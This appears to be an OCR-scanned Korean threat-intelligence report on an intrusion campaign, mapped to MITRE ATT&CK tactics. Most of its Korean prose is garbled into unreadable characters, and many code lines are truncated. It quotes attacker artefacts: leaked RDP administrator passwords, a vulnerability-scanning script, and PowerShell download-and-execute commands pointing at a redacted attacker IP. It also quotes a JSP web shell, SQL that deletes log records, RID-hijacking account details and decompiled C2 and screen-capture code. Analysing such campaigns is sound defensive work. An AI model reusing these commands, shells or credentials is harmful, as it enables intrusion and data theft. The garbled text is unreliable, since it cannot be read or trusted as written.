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ID

Tactic

T1595.002 Reconnaissance
T1593.002 Reconnaissance

Resource
T1583.001

Development

Resource
T1583.002

Development

Resource
T1587.001

Development

Resource
T1587.002

Development

Resource
T1588.001

Development
T1588.002 Resource

Development
T1588.006 Resource

Development
T1027.002 Defense

Evasion
T1041 Exfiltration
T1567.002 Exfiltration

Reconnaissance

Techniques

Active Scanning

Search Open

Websites/Domains

Acquire
Infrastructure

Acquire
Infrastructure

Develop
Capabilities

Develop
Capabilities

Obtain
Capabilities
Obtain
Capabilities

Obtain
Capabilities

Obfuscated Files

or Information

Exfiltration Over
C2 Channel

Exfiltration Over
Web Service

Active Scanning: Wordlist Scanning
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Dear customer,
OS reinstallation is done.
0S : Windows 2016 std en
P :
username / password : root / dIifi@#S5
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175:3389@WIN-SBLPUEF43GE\administrator 1d1f!@#$5

31:3389@WIN-KVIJELQVD70\administrator; Lf!@#$5
32:3389@WIN-KVIJELQVD70\administrator; Lf ! @#$5
27:3389@WIN-KVIJELQVD70\administrator; Lf!@#$5
128:3389@WIN-98IINR36L67\administrator 3d1f ! @#$5
161:3389@WIN-9A0L1R45RGRE\administrator 3d1f!@#$5
23:3389@WIN-7JAEEKS5QNP\administrator; 11f!@#$5
168:3389@WIN-18K2HU4AC2S\administrator 11f!@#$5
251:3389@WIN-P8HEBGH7BM9\administrator 11f!@#3%5
00:3389@WIN-0OMOSMITBH3\administrator; Lf!@#$5
85:3389@WIN-NT12SFUU4EG\administrator; Lf!@#$5
106:3389@WIN-2K4F2RD3392\administrator 3d1f!@#$5
105:3389@WIN-2M3G7H1VVHN\administrator 31d1f ! @#$5
150:3389@WIN-OHK1A2AG8]3\administrator Ld1f!@#$5
51:3389@WIN-8TTRNL4246P\administrator; 11f!@#%$5
188:3389@WIN-M4Q7A7FKRRB\administrator >d1f ! @#$5
188:3389@WIN-M4Q7A7FKRRB\administrator >d1f1@#$5
39:3389@WIN-HNHNEVUQQI8\administrator; Lf!@#$5
244:3389@WIN-ADFI31BF3JK\administrator 8d1f!@#%5
F22| til3 A0l AFEEl Dictionary

Search Open Technical Databases: Scan Databases
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Active Scanning: Vulnerability Scanning
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import sys
import requests

def process_ip_list(ip_list_file, output_file):
with open(ip_list_file, 'r') as file:
for i, ip in enumerate(file, start=1):
ip = ip.strip() # W& 2X A
url = f"https://{ip}:8660/[MZH]/ServerRequest/Health!
try:
response = requests.get(url, timeout=5, verify = F
if "[HEY]" in response.text:
write to_file(output_file, ip)
print(f"{i}. {ip} +++++")
else:
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print(f"{i}. {ip}")
except requests.exceptions.RequestException as e:
print(f"{i}. {ip}")

def write_to_file(file, content):
with open(file, 'a') as f:
f.write(content + '\n')

if __name__ == "_ _main__ ":
if len(sys.argv) != 3:
print("Usage: python program.py ip_list_file output_file")
else:
ip_list_file = sys.argv[1]
output_file = sys.argv[2]
process_ip_list(ip_list_file, output_file)

Search Open Websites/Domains: Search Engines

AXte 7= dM ATIE 2850 Chdet YEE BHMOIRICE 0] 2Hgo M Fojet et=0E 28
0f01 YO E YUOIALE. Ol= SHXIIL CHet A0 E ALE0IH YEE TS =D A=
Holot, ot S AKX EEteA A0 2F0| S0 2 =0 AJE=H|, ol= SHAIL S=HE A

|
gote XM ESst7ALE SF0E O[3 &= AUCH= FS AlAFRIL

t DNS =18
A1
G ,. .
&
norton samantha
G I o
o g e ® mEscEs
[ mes
Q # e ISR, SRR
H AR o
A ==
H H 2 s
ImageHub CRMERVS... ZohofF R rotating resid
U] M = +
DNs B2 EENTFRE SendCloud= Nintendo Off... FIREAT

O MO A A S E2EtR K

TR ALS S ZM0| B YRE UOlHLE FTIRE 22 FH MHIAS| FHE AFS 235}
S NEE HOZCH £3, 150 07! HhALTO| Ciet 24 HUNES ANt BEE T
T QICE Ol2{8t A HE 2MS Sof ZAXIY AL SES TfE 4 Lk

TTPs #11: Operation An Octopus - Y &Y o] £22MS |z 34T 24



ofziofl= SAXL7E Chrome EEtRXE Sl Y=ot HAH0{S3S LIEUL.
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Hlo|H EQIF5L7|
Hjo|t 3|7t
HlolH 7te e A Hlo|t 3|7t Al QIEHz ot 2 mf sHZA
Hjo|t FCHESL0| 7+
H|O|tH OtO|C| RH|TSE TE= HH
IR E Tt S 2ot M kakaotalk logins
7ta H S AF8SHY| 2ot dM virtual SMS

AMLH, HIH, H|2 S " svn, 212, MY, El50], M2, ®4, ©

EEot MH LHO|A HE 2 M A AJAR] ALHEE, ALK, ip, domain, EHIY, HASIE, QAE Ul A
A
IHAQIE MU= 9[&6I0] RESQI AHTFE- ASEC BLOG
ol 22 Ma Xpitgte] Z2OMS ot 8%t 34 Fg XA (Andariel 28) -
ASEC BLOG
20231101_kimsuky_OP.-Covert-Stalker.pdf
7|2 iy HAM how to keylog when logonui.exe is run

Resource Development

Acquire Infrastructure: Server
SAX= U TSHAME SAst D HI0IEE 37| o S SAE Ao MHE risto]

AFESHRALY.
SAXE MHE At 7|Y8E e W URES 2|201617| Qlol 7HeRMe 2 ZH| st 2
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Acquire Infrastructure: Virtual Private Server

sS4 sdots S Al /IKE S717] flo SHXNS2 ST 7HSAEMH(VPS)E AEeICt

[ XAE = 5 S
OfH AU M= SHXI= AHMO HA| IP F2E 7| ?I6H VPS MH|AE 7Hota ALt 2
(=21 5 =] L X = el (oX =1 el

Mg slolsiCt 24 Za, B F2 Vulr SAE MHIAS 0|SBHASS AL

1700 https://my.vultr.com/?- Billing - Vultr.com

1702 hitos://my.vultr.com/deploy/ Deploy Servers - Yultr.com

1701 httas://my.vultr.com/billing/ Billing - Vultr.com

1703 https://my.vultr.com/billing Billing - Vultr.com

1704 hitps://my.wultr.com/referral/special/ Refer Us - Vultr.com

1705 httos://my.vultr.com/referral/special Refer Us - Yultr.com

1698 https://www.vultr.com/ S3D VPS Servers, Cloud Servers and Cloud Hosting - Vultr.com
1706 hittas://wwww vt com/?ref=9336366-8H SSD VPS Servers, Cloud Servers and Cloud Hosting - Vultr.com
1707 https://my.wultr.com/referral/special/# Refer Us - Vultr.com

1708 https://my.vultr.com/Zlogaut=1 Log In to your Yultr Account - Yultr.com

1709 https://my.vultr.com/ Log In to your Yultr Account - Vultr.com
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oge e

Develop Capabilities: Malware
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RDP(Remote Desktop Protocol) 7HA|2] YE 0| A= main.go2t= THUHS| ZEE JHE 2l
DE&E SQISIRULE Ol= SR 2™ ZEE ISt JSS LIEHHCE

\
( @l e '
fmt.Spy int, n X(s str
{ . .Encode '1(" main. go ]
"n must | fmt.Sp I . 5
main.go ZE i Mgt
SAXE2 0l2{et =7 Y S 2[ol o2 Xt=E HXOIRULCE E3], Go HH=ZE & o4 TEE JH
w57 o S7HE GitHub XEAE HESIUCH, ME ot ofd T ET} BIX|E|X| == 617 &

ot

i TIZ22[ofj A == 7| Hol| CHal 24 M35HRACE.

GitHub - amenzhinsky/go-memexec: Run code from memory
go-memexec/cmd/memexec-gen at main - amenzhinsky/go-memexec - GitHub
go-memexec/cmd/memexec-gen/main.go at main - amenzhinsky/go-memexec - GitHub

go - Golang execute child process from binary data in memory - Stack Overflow

GitHub2| go-memexec B4 7|5

IAHXES & —_ ABHO O] . . o = s
OFEIIR 2 3AXES 208 32 =S 28l DIl Injection 7|'H0f| Cigt HIAEE TIHSIA
o = ols AlSHBI = rul
C O] 7| M2 oty ZES thY T2 M A9 HZ2] Z2H0| US| HAs= WHo =2, SAXIt
o o AL XSF A SH=

AN2ABRS O 2 H=5| 25 = U4 sHELE

file:///C:/Users/Default WIN-KDFQNTVCM6K/Downloads/bad dll.cpp Default
file:///C:/Users/Default WIN-KDFQNTVCM6K/Downloads/bad dll.cpp Default
file:///C:/Users/Default WIN-KDFQNTVCM6K/Downloads/DLL Injection Test C .cpp Default
file:///C:/Users/Default. WIN-KDFQNTVCM6K/Downloads/DLL Injection Test C .cpp Default
file:///C:/Users/Default. WIN-KDFQNTVCM6K/Downloads/DLL Injection Test C#.cs Default
file:///C:/Users/Default WIN-KDFQNTVCM6K/Downloads/DLL Injection Test C#.cs Default

DLL Injection HAE o

Develop Capabilities: Exploits
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Obtain Capabilities: Exploits
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PrintSpoofer ok
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CVE-2023- JetBrains TeamcityOf| A ZHAlisH= 212
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CVE-2023- PaperCut MF % NG 2T E Q|0 2alst=
27350 A7 RE MY o
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40539 M st 915 23 W 17 IEA Fofy
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41892 | A st Al
CVE-2023- Atlassian Confluence Data Center2t Server
22515 Ol M EM5H= "2ZHO FAH
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Obtain Capabilities: Tool
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WPS Office T =M Z20H

TTPs #11: Operation An Octopus - Y LFH #e| E2MS k2|= sHTE BA

ASLZM, 2 MM E #=25

Z00|M ZolE oG 2

oo A|A™ SHO AL

oo Al A™ SHO AL

oS Al A™ SHO AL

oS Al A" SHO AL

oS A|A™ SHO| AL

oS AlA™ S A AL

£l

2I0j|M EHlE A =X
UCHAH H|ofof| AL
TS Al AE HO{0]] AL
mjs7|¥e| AtI2RE0 A+

f



£3 s E20|M Sl E ALE ZX
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Typora OF3aCH: of|C|E -

Wireshark HER3 Eafig 2L -

Proxifier TEA -
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CCProxy OTEA -

SharpReverseProxy E|HHA T2 A| -

bore-v0.5.0 2|HA TEA| -

loclx E|HA TEA| -

Visual Studio Code IE N -

VisualGet =32 W -

Navicat Premium 16 MySQL 2| IS Al A KHO{0]] AL
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Defense Evasion

Obfuscated Files or Information
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Desktop'iMy Computer C: fxamppWhtdocsbbso3. S 2 B 12, -

Desktop'fiiMy Computer'WC: Wxampp WhtdocsWbbs'i3. S 2 B 12, - -—_— =
DesktopiMy ComputerC: Wxampp WhtdocsWbbs03. S 2 B 12, - -

Desktop'iMy Computer WC: fxamppWhidocsWbbs03. S Z B 12, - - .
Desktop'fiMy Computer WC: Wxampp WhtdocsWbbs'Wi3. S S W12, - - .
Desktop My ComputerC: Wxampp Whtdocsbbst03. S 2 BW12. - -
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Desktop¥iMy ComputerWC: Wxampp Whtdocsbbst03. S 2 B 12, - - .
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Desktop My Computer'WC: Wxampp Whtdocsbbs'to3. 2 B 12, - - .
Desktop¥iMy ComputerWC: Wxampp WhtdocsWbbst03. S S EW 12, - - -
DesktopWMy Computer #C: ¥xampp WhtdocsWbbso3. 2 S B 12, - - .

Desktop My Computer'WC: Wxampp Whidocsbbs'03. S 2 B 12, - -

Desktop My ComputerWC: Wxampp WhtdocsWbbs'Wo3. TS W12, - -
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Desktop¥iMy ComputerWC: WxamppWhtdocsWbbs WM ALE ZFHE 7|4 e

Desktop WMy Computer'#C: Wxampp'WhtdocsbbsW XA ZE & 7% -9

Desktop My Computer'WC: Wxampp WhtdocsWbbsW M AE ZZHE 7|4 -

Desktop¥iMy Computer WC: Wxampp WhtdocsWhbsW R ALE ZZHE 7|10 .

Desktop WMy Computer#fC: ¥xamppWhtdocsWbbsW X ALE ZF £ 7% -
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Exfiltration Over Web Service: Exfiltration to Cloud Storage
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T1027.007
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T1090.001

T1041

Tactic

Defense
Evasion

Credential
Access

Lateral
Movement
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Exfiltration Over C2
Channel

Exploit Public-Facing Application
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L= s

CVE-2021- Zoho ManagerEngine ADSelfService PlusOllA ZM3sH= 21F 23| 3! A4 ACH
40539 RIS

CVE-2023- Zoho ManagerEngine ADManager PlusO|A] SfMst= @72 A | oFH
38743

CVE-2023- Craft CMSOL M A8t 212 T A% $lob

41892

CVE-2023-22515 Atlassian Confluence Data Center@t Server0f|A] gHAist= H 2 A 0] F|24H

CVE-2023-

OpenSSHe| ssh-agent X9 7| S0A LMlst= AH FE M FofH
38408 P gent=v = =S

EH‘—QI ojs MH &4 At
HO[RAL}. O|F2 LEH

= D
PJ A2 xp_cmdshellt 22 0S HE &
HAIZIC.

Exploit Public-Facing Application: ZeroDay
StX|t RAECHE ZAXE X[4HOR FU SLEe|H ATEL o] F Ao thst HRE ZIH
UCt= PEOH$$H0F°FH O|E2 HMMX|= Tt7|Zh LHol| M ZCo] FA™S i

HTYIEX| LA HEOf| h2H, F kPt Z{O 2 SQI=l M| F 0= KFAZZ|ESEM, H[0|E RE WX
£ 2|3t DLP(Data Loss Prevention) 28M, HEY3A H2 MO E Qs+ NAC(NetWOI’k
Access Control) E2M, EA2t2| £2M4 S0| /ULt
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import sys / \ .
import requests / @ =4 72
. ist(ip_list_file, output_file ~
ip_list_file, 'r') as file X OFF
5 nunerate(file, start=1 IiliEllol Tl_l (=) jlcg
/{ip}:8660/[ 1/serverRequest/Heal thCheck" @
response = requests.get(url, timeout=5, verify - False
if [ “ in response.text @ 2EQ [a o4t
write_to_file(output_file, ip H|OFE AT
print(£"{i}. {ip} +++++" 7|o_|
else:
print(f"{i}. {ip}"
except requests.exceptions.RequestException as e
N #ofy A7 IS ﬁ
def wri ile(file, content —_———
pen(file, 'a') as f { A\
f.write(content + ‘\n : URL ®i : 7| o
if _name_ == "_main_" | + |
if len(sys.argv 3 x4
print("Usage: python program.py ip_list_file output_file" | PORT &5 |
else | |
ip_list_file - sys.argv[l N <
output_file = sys.argv[2

process_ip_list(ip_list_file, output_file
71

Nl T2, WA Cie] HZD o] $I9FH2 915 3|9 BRI0| AKCH BRAX A3t 20| AN
M7k B2 Telo] Fo0| JHsstol 24| B2t
AFS WS BY Mol HSHH FLE 2
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ZHo|| M3t ZHX= Y oe| 22 M| MM T 7|5 S8 0|8310] X712 LiEo| oA A
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Execution

Command and Scripting Interpreter: Powershell

oid= dliol FHOO| YR = of2Het 2Lt BF QU A[ARZRE ofdIE
HHO|ALY.

1]

rteze @

rr

powershell wget -Uri hxxp://[3ZXtIP]/icon/favicon.ico -OutFile c:
powershell wget -Uri http://[3ZXtIP]/venus.asp -OutFile c:\\users'
powershell mshta http://[3Z&XtIP]/icon/icon.html

powershell wget -Uri http://[3&XIP]/icon/cert.txt -OutFile c:\usi
iex((New-Object System.Net.Webclient).DownloadString('hxxp://[34X
iex((New-Object System.Net.Webclient).DownloadString('hxxp://[34X
iex((New-Object System.Net.Webclient).DownloadString('hxxp://[3&X
iex((New-Object System.Net.Webclient).DownloadString('hxxp://[34X
iex((New-Object System.Net.Webclient).DownloadString('hxxp://[34X

Command and Scripting Interpreter: Windows Command Shell

x| 0| g3t SAXIL ALEe BH0o{Q YR = of2fet ZCh A HYIAEE 2[R AARCZR
E CHRRC gt Him} er|sh | o] M3 ClMER| ZMI 22 MK HAl HHO0| T2 0|2Y
ch.

ipconfig

dir c:\

dir "c:\\Program Files"

powershell "wget -Uri http://[3ZXtIP]/icon/favicon.ico -OutFile c
powershell c:\users\public\mscert.exe

powershell "(New-Object Net.webClient).DownloadFile(\'http://[3&X
wmic process get caption,processid, executablepath,commandline /for
wmic process get executablepath

certutil -decode c:\users\public\cert.txt c:\users\public\mscert.e
certutil -decode c:\users\public\cert.txt c:\users\public\game.exe
del /f c:\users\public\cert.txt c:\users\public\test.txt

'whoami > "c:\inetpub\wwwroot\test.txt

net user

ipconfig /all

systeminfo

tasklist

dir "c:\inetpub\" > c:\inetpub\wwwroot\test.txt

TTPs #11: Operation An Octopus - Y LFH #e| E2MS k2|= sHTE BA 18



dir "c:\inetpub\" > c:\inetpub\wwwroot\testl.txt

powershell "net user" > c:\inetpub\wwwroot\test.txt

dir "c:\inetpub\wwwroot\down"

dir "c:\users\"

dir "c:\users\administrator"

wevtutil ge Microsoft-Windows-TerminalServices-LocalSessionManager
EventID=25]]" /rd /f:text

netstat -naop tcp | findstr ESTA

guery session

dir c:\*

tasklist > c:\inetpub\wwwroot\a.txt

powershell 1s c:\

cmd.exe -c dir c:\*

taskkill /f /im cmd.exe

powershell "wget -Uri http://[3ZXtIP]/venus.asp -OutFile c:\users’
certutil.exe -urlc""""""ache -split -f http://[3Z4XIP]/venus.asp ¢
ren x:\inetpub\wwwroot\venus.asp x:\inetpub\wwwroot\wwinstallguide

Persistence

Server Software Component: Web Shell

AE0 M TARE 44 RXIS Slef SHHF HY Mso| H53 WA MMt ¥
7
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rr
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Ao AR} AE{H 0| A= EIAE IEXNT HO|EF CXQIE|0f, ofd T}
St = 2=t R

(AL,

Command Execution Example

Enter a command: || Execute |

OH
i
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>
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[
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g

TTPs #11: Operation An Octopus - Y LFH #e| E2MS k2|= sHTE BA



if (request.getMethod equals("POST"
String command = request.getParameter("command”
try
Process process = Runtime.getRuntime().exec(command

BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream
String line
while ((line = reader.readLine != null

out.println(line + "<br>"

process.waitFor
reader.close
catch (Exception e
out.println("Error: " + e.getMessage

Ok
N
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>
oo
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z
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n

1l
ne
4

Defense Evasion

Deobfuscate/Decode Files or Information

= MEMLH IEA| AMIEE= HO|E TS Al, Hl{zl

—

Hor M

©X5060408;

= 0,

if ( cmd_tmp_value != 8 )
bidx = emd_tmp_value;

allocated_memory

2 [1du++] -= *(box + bidx);
cmd_tmp_value = bidx

Indicator Removal: Clear Windows Event Logs

Teh Aol A BHXIZE CMD HHS AFstol 212 ClAIE H4 20| ¥2sa
OJYIES Z3[ets Bao| WARYCE 1 3 OME 212 Aot FYS T W

L OO

oF 2M AI-oM = Mol OJHIE 27t &ME MEfE HoF UL

wevtutil ge Microsoft-Windows-TerminalServices-LocalSessionManager
EventID=25]]" /rd /f:text

Indicator Removal: Clear Persistence
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HorE 220 hatol E B UFY Bel sRH0lE Bl 91F T glo] 2R AT My
o 4 Q= FZE(0] F{2Ho| UICE O[3 FAHS orgotol BARIE TAG AFES Y4t
OYTCE QESH= BSS NWSIRUCE 0] HHES Sof 3H SEES LA BHXH= XY

S X97| Slo 2R AW M8 2094 BHE 2R AWES AT

SRS BRAX AN 4N 200 EY B2 22 M DBO| MIE/S 27X Trersta Y, 10
23 Bt java ZES 0|Sot0] 218 ARSIICE Ol BAXTH F4H B2 Foll S B2

Class.forName("com.mysql.jdbc.Driver");
String url = "jdbc:mysql://localhost:3306/
String username =

String password =

Connection connection = DriverManager.getConnection(url, username, password);

String tableName = "
String deleteQuery = "DELETE FROM " + tableName + " WHERE UPD_ID = 'adminl'";

Statement statement = connection.createStatement();
int rowsAffected = statement.executeUpdate(deleteQuery);

out.println(rowsAffected + " row(s) deleted from the table. " + tableName + "<br>");

statement.close();
connection.close();

LITTITTTTTIT LT LTI T LT E T E i T i1

url = "jdbc:mysqgl://localhost:3306/

connection = DriverManager.getConnection(url, username, password);
tableName =

deleteQuery = "DELETE FROM " + tableName + " WHERE DATA LIKE ‘%adminl%'";

statement = connection.createStatement();
rowsAffected = statement.executeUpdate(deleteQuery);

out.println(rowsAffected + " row(s) deleted from the table. " + tableName + "<br>");

statement.close();
connection.close();

A
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rz

7150l A PR E 23 AR 2=

Obfuscated Files or Information: Dynamic APl Resolution

Atz SHL = APIE ZE510] 28517| 2I510] base64 YAS ST} A0 M= O
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LibraryA = LoadlLibraryA(Kernel32);
if ( LibraryA )
{

v25 = 0;

v4 = j__malloc_base(©x15ui6éd);
if (v4)

GetProcAddress = base64decode_1400025D0("R2VOUHIVYOFkZHI1c3M=", ©x14i64, &v25, v4);
else

GetProcAddress 0164 ;

Credential Access

OS Credential Dumping: Security Account Manager

SZXt7t W0 A™o| RID Hijacking2 Aot =X 0| YAHE|ULE RID Hijacking2 EE &5
PR ol FofH 2 0|83l EF A0 Hets 25tz 7|'HOICt 0] 7S AH83IH SYSTEM
Hoto| HRstEE, SAXH= PSEXEC =7 E AHESI0 m|sH A|ARIOM ST S&S AAMS 7t
=-d0| =Lt I3 LH0|M= 'white$'2h= A O| 0| HFHO|RU2H, o] A™2 2t2|X} Aot

0il 3f=dSt= 500 RIDE 7HX| 12 AUAULL.

o

ofE SAX=E M=o AFE MY mf 'white'Lt 'black'0|2t 0| ES AFE3IL F0]| '$'E 20|=
EZO0| ACEL AYE Hd ol 7ol '$' 2XE 20/ =H 52 £42 AFYS oE = A0, 22
XE7F MEA 2SO T AFE AXISHA] Z5HA| SHALE.

“WWindowsHSystem32>net user
WHOESKTOP-AMMRRRCOI| CHet AFEAL AHIA

Defaul tAccount
WOAGUt i | i tyAccount

o2t 22 7|52 34Xt A8t AW M A E0f o] UAULCE
A3 FMo|E SID RID LM &4 NT 84 Sef 293
rootagent Empty 500 500 ea4b8b9... 02455ch... A& 4329
Guest Empty 501 501 71f703ce... 93a26¢4... QIAE 0
DefaultAcco... Empty 503 503 38c7b3d... ebad4e59... GlALE 0
white$ Empty 500 500 d73904af...39b4dbb... A& 3013

secuagent secuagent 1003 1003 74c7c7b... e17f4143... A3
SAXZL AL A white$

16

Lateral Movement

Lateral Tool Transfer
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main_CaptureScreen ; capture screenloc_4E942E:
rbx, rbx rbp, [rsp+48h

short CAPTURE_FAIL_1

[rsp+48h+var_18], rax
rax, RTYPE_bytes_Buffer CAPTURE_FAIL_1:

runtime_newobject cs:screen_capture_status_65@Fe2,

[rsp+4@h+var_18], rax rbp, [rsp+4eh+var_8]
rax rsp,
offset RTYPE 1mage Image_54B4C8

offset RTYPE_io_Writer_54ADD8
1mage Jjpeg_| Encode ; encode into jpeg format
dword ptr [rax]
rax, rax
short CAPTURE_FAIL_2

CAPTURE_FAIL_2:
screen_capture_status_65@Fez,
[rsp+4@h+var_8]

CAPTURE_SUCCESS

[r8+rax]

time_Sleep

Command and Control

Proxy: Internal Proxy

SAXE UWRUM EF HEY &
Ch. 2[= HHA 2Totl= BHRAXIZE M5t
O

AEE HMES)

i
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strcpy_s(pNodeName, ©x1@4u, &lpThreadParameter->hostname);
ppResult = ©;

while ( addr_list-»>ai_family != AF_INET )
{

addr_list = addr_list->ai_next;
if ( laddr_list )
goto ADDR_NULL;

}
ip_addr = addr_list->ai_addr->sin_addr;
¥

)y
Exfiltrate
Exfiltration Over C2 Channel
3AXH= Collection THAIE Sl 2210| Yot= It HHE 25 HHO(51)2 Solf It S 1
C2 MEE SHSIEE AMICE FHSIQICE B2 AHIE Lo S$85t= S+EH2
FileDownload2t1 'i'é%' |01 UL}, File Upload?} OtL|2t File Downloadzt= 0|22 E3lf 22
= 34Xt 2AFoN dHIETE LAHE0 JASSE L 5 UL
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mov

lea

mov esi,

lea ~8, aIsLrOfOnPcSpSp+ 5 port - 80688
mov

mov

xor
call
mov

mov rbx
lea r ; tep

mov ebx

call net Dial ; connect
mov cs:net_Dialer_5FD930, rax
cmp cs:dword_651220,

jnz short loc_4E9844

HXZL ofeh AAR0M BF T YE= F2 T3 7| SRTYERAL. 6IE S0, 2ZESH o
7H%W§—'?’—E1 2AFEE HFOILL 7| A0 M= A A= E HFGIAL £, 3
7|gel SR FEED OfL2t ST A[ARM 2F Sl Bt MBS £F8 ZEX &E5H 1N &
HUCH 2ot ERH IEE SHXI Loist M| EX[5Ho] F|ofH HAEES TAMC
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